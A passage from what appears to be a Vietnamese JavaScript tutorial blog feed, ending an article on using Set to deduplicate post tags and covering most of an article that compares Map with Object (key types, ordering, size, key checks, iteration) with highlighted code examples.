operator">=</span> <span class="token punctuation">[</span><span class="token string">"tag1"</span><span class="token punctuation">,</span> <span class="token string">"tag2"</span><span class="token punctuation">,</span> <span class="token string">"tag4"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> post2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"tag3"</span><span class="token punctuation">,</span> <span class="token string">"tag4"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Sau đó, tạo ra mảng các thẻ tag duy nhất bằng Set như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arrTag <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arrTag <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>arrTag<span class="token punctuation">,</span> <span class="token operator">...</span>post1<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> arrTag <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>arrTag<span class="token punctuation">,</span> <span class="token operator">...</span>post2<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arrTag<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4) ["tag1", "tag2", "tag4", "tag3"]</span></code></pre></div> <p>Giả sử tạo thêm một bài viết mới với mảng các thẻ tag là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> post3 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"tag1"</span><span class="token punctuation">,</span> <span class="token string">"tag3"</span><span class="token punctuation">,</span> <span class="token string">"tag5"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Để cập nhật danh sách thẻ tag, mình có thể làm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arrTag <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>arrTag<span class="token punctuation">,</span> <span class="token operator">...</span>post3<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5) ["tag1", "tag2", "tag4", "tag3", "tag5"]</span></code></pre></div> <p>Mỗi khi thêm một bài viết mới, mình chỉ cần làm theo cách trên là cập nhật được danh sách các thẻ mà không bị trùng lặp.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Set trong JavaScript là một loại object dùng để lưu trữ dữ liệu mà không trùng lặp.</p> <p>Các phương thức của Set là:</p> <ul> <li><code>new Set(iterable)</code>: khởi tạo Set bằng cách truyền vào một iterable object (không bắt buộc), trường hợp không truyền vào tham số nào thì Set sẽ rỗng.</li> <li><code>set.add(value)</code>: thêm phần tử <code>value</code> vào Set và trả về chính Set đó.</li> <li><code>set.delete(value)</code>: xóa một phần tử trong Set và trả về <code>true</code> nếu giá trị <code>value</code> tồn tại trong Set, ngược lại trả về <code>false</code>.</li> <li><code>set.has(value)</code>: trả về <code>true</code> nếu giá trị <code>value</code> tồn tại trong Set, ngược lại thì trả về <code>false</code>.</li> <li><code>set.clear()</code>: xóa tất cả các phần tử trong Set.</li> <li><code>set.size</code>: trả về số lượng phần tử trong Set.</li> </ul> <p><strong>Tham khảo:</strong></p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set - MDN</a></li> <li><a href="https://flaviocopes.com/javascript-data-structures-set/">The Set JavaScript Data Structure</a></li> </ul>[email protected]<![CDATA[So sánh Map với Object trong JavaScript]]><![CDATA[Có thể bạn đã quen với việc sử dụng Object trong JavaScript. Trong khi đó, Map là một kiểu dữ liệu mới xuất hiện trong ES6. Map có những đặc điểm giống và khác so với Object. Cụ…]]>https://completejavascript.com/so-sanh-map-voi-object-trong-javascript/https://completejavascript.com/so-sanh-map-voi-object-trong-javascript/<![CDATA[ES6]]><![CDATA[Map]]><![CDATA[Object]]><![CDATA[Kiểu dữ liệu]]>Mon, 05 Jun 2017 22:30:00 GMT<p>Có thể bạn đã quen với việc sử dụng Object trong JavaScript. Trong khi đó, Map là một kiểu dữ liệu mới xuất hiện trong ES6. Map có những đặc điểm <strong>giống và khác</strong> so với Object. Cụ thể là như thế nào? Sau đây, mình sẽ so sánh Map với Object trong JavaScript.</p> <h2 id="nhắc-lại-khái-niệm-map-và-object" style="position:relative;"><a href="#nh%E1%BA%AFc-l%E1%BA%A1i-kh%C3%A1i-ni%E1%BB%87m-map-v%C3%A0-object" aria-label="nhắc lại khái niệm map và object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhắc lại khái niệm Map và Object</h2> <p>► <strong><a href="/object-la-gi-object-trong-javascript/">Object</a></strong> là một khái niệm trừu tượng dùng để biểu diễn một vật thể (cụ thể). Trong đó, các thuộc tính dùng để miêu tả đặc điểm, tính chất của đối tượng. Và các phương thức dùng để chỉ các hoạt động của đối tượng.</p> <p>► <strong><a href="/map-trong-javascript-thi-sao/">Map</a></strong> là một cấu trúc dữ liệu cho phép lưu trữ dữ liệu theo kiểu <strong>key-value</strong>, tương tự như object.</p> <h2 id="so-sánh-map-với-object-trong-javascript" style="position:relative;"><a href="#so-s%C3%A1nh-map-v%E1%BB%9Bi-object-trong-javascript" aria-label="so sánh map với object trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh Map với Object trong JavaScript</h2> <p>Sau đây là một số đặc điểm <strong>giống nhau và khác nhau</strong> giữa Map và Object.</p> <h3 id="giống-nhau" style="position:relative;"><a href="#gi%E1%BB%91ng-nhau" aria-label="giống nhau permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giống nhau</h3> <ul> <li>Đều cho phép lưu trữ dữ liệu theo kiểu <strong>key-value</strong>.</li> <li>Đều cho phép lấy dữ liệu theo key, xoá key, kiểm tra xem 1 key đã tồn tại hay chưa.</li> </ul> <h3 id="khác-nhau" style="position:relative;"><a href="#kh%C3%A1c-nhau" aria-label="khác nhau permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khác nhau</h3> <p>Trước khi Map xuất hiện, người ta vẫn thường sử dụng Object cho việc lưu trữ dữ liệu dạng <strong>key-value</strong>.</p> <p>Tuy nhiên, khái niệm Object lại quá rộng, mọi thứ đều có thể là Object. Còn Map thì hướng nhiều hơn đến việc <strong>lưu trữ dữ liệu</strong>.</p> <p><strong>Vậy Map khác Object như thế nào?</strong></p> <h4 id="kiểu-dữ-liệu-của-key" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-c%E1%BB%A7a-key" aria-label="kiểu dữ liệu của key permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu của key</h4> <p>Object chỉ cho phép kiểu dữ liệu của <strong>key</strong> là <a href="/kieu-du-lieu-trong-javascript/">String</a> hoặc <a href="https://developer.mozilla.org/vi/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Symbol</a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> symbol1 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token string-property property">"a b"</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">symbol1</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {x: 1, a b: 2, symbol1: 3}</span></code></pre></div> <p>Ngược lại, Map cho phép <strong>mọi kiểu dữ liệu</strong> có thể làm key, kể cả <a href="/kieu-du-lieu-trong-javascript/">number</a>, <code>NaN</code>, <a href="/ham-la-gi-ham-trong-javascript/">function</a>, object,...</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">fun</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> map <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>fun<span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Map(7) {</span> <span class="token comment">// NaN => 1, 1 => 2, "a" => 3, [2] => 4, {x:3} => 5, function() {} => 6</span> <span class="token comment">// }</span></code></pre></div> <h4 id="thứ-tự-của-key" style="position:relative;"><a href="#th%E1%BB%A9-t%E1%BB%B1-c%E1%BB%A7a-key" aria-label="thứ tự của key permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thứ tự của key</h4> <p>Map <strong>duy trì thứ tự của key</strong> giống như khi chúng được thêm vào.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"xyz"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> key <span class="token keyword">of</span> map<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * xyz * b * 1 */</span></code></pre></div> <p>Object thì không đảm bảo thứ tự các key.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">xyz</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>b <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> obj<span class="token punctuation">[</span><span class="token string">"1"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> key <span class="token keyword">in</span> obj<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * 1 * xyz * b */</span></code></pre></div> <h4 id="xác-định-kích-thước" style="position:relative;"><a href="#x%C3%A1c-%C4%91%E1%BB%8Bnh-k%C3%ADch-th%C6%B0%E1%BB%9Bc" aria-label="xác định kích thước permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xác định kích thước</h4> <p>Bạn có thể lấy kích thước của Map thông qua thuộc tính <code>size</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"xyz"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Đối với Object, bạn phải <strong>đếm số lượng các thuộc tính thủ công</strong>. Hoặc bạn tính số lượng này một cách <strong>gián tiếp</strong>, thông qua phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a>.</p> <p>Bởi lẽ, phương thức <code>Object.keys()</code> trả về một mảng chứa các <strong>key</strong> của Object. Lúc này, bạn chỉ cần sử dụng thuộc tính <code>length</code> của <a href="/array-la-gi-array-trong-javascript/">array</a> là được.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">xyz</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>b <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> obj<span class="token punctuation">[</span><span class="token string">"1"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng vòng lặp for...in</span> <span class="token keyword">let</span> size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> key <span class="token keyword">in</span> obj<span class="token punctuation">)</span> size<span class="token operator">++</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> <span class="token comment">// sử dụng Object.keys</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <h4 id="kiểm-tra-tính-tồn-tại-của-key" style="position:relative;"><a href="#ki%E1%BB%83m-tra-t%C3%ADnh-t%E1%BB%93n-t%E1%BA%A1i-c%E1%BB%A7a-key" aria-label="kiểm tra tính tồn tại của key permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra tính tồn tại của key</h4> <p>Để kiểm tra xem một <strong>key</strong> tồn tại trong Map hay chưa, bạn có thể dùng phương thức <code>map.has</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token string">"c"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Đối với Object, bạn sử dụng gián tiếp thông qua phương thức <code>Object.keys()</code> như trên.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">hasKey</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">obj<span class="token punctuation">,</span> key</span><span class="token punctuation">)</span> <span class="token operator">=></span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span> <span class="token operator">!==</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">hasKey</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">hasKey</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Trong đó, <code>hasKey</code> là hàm tự định nghĩa. Và bạn thấy là <code>Object.keys(obj)</code> trả về một mảng chứa các key của <code>obj</code>.</p> <p>Tiếp theo, mình sử dụng phương thức <a href="https://developer.mozilla.org/vi/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf">arr.indexOf()</a> để kiểm tra xem <strong>key đã tồn tại trong mảng hay chưa</strong>.</p> <p>Phương thức <code>arr.indexOf()</code> trả về giá trị <strong>index đầu tiên thoả mãn</strong>, ngược lại thì trả về <code>-1</code>. Nói cách khác, nếu index tìm được mà khác <code>-1</code> thì key đang tìm tồn tại trong Object.</p> <h4 id="duyệt-qua-các-phần-tử" style="position:relative;"><a href="#duy%E1%BB%87t-qua-c%C3%A1c-ph%E1%BA%A7n-t%E1%BB%AD" aria-label="duyệt qua các phần tử permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Duyệt qua các phần tử</h4> <p>Bạn có thể duyệt qua các phần tử của Map (để lấy <code>key</code>, <code>value</code> hoặc <code>[key, value]</code>) một cách trực tiếp thông qua <code>for...of</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// duyệt các keys</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> key <span class="token keyword">of</span> map<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * a * b */</span> <span class="token comment">// duyệt các values</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> value <span class="token keyword">of</span> map<span class="token punctuation">.</span><span class="token function">values</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * 1 * 2 */</span> <span class="token comment">// duyệt các cặp [key, value]</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> <span class="token punctuation">[</span>key<span class="token punctuation">,</span> value<span class="token punctuation">]</span> <span class="token keyword">of</span> map<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span 